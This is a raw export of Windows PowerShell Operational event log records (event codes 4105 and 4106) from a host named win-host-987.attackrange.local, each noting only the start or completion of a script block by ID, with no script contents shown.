SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036356
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036355
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036333
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036332
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036331
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036330
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036314
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036313
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036308
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036307
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
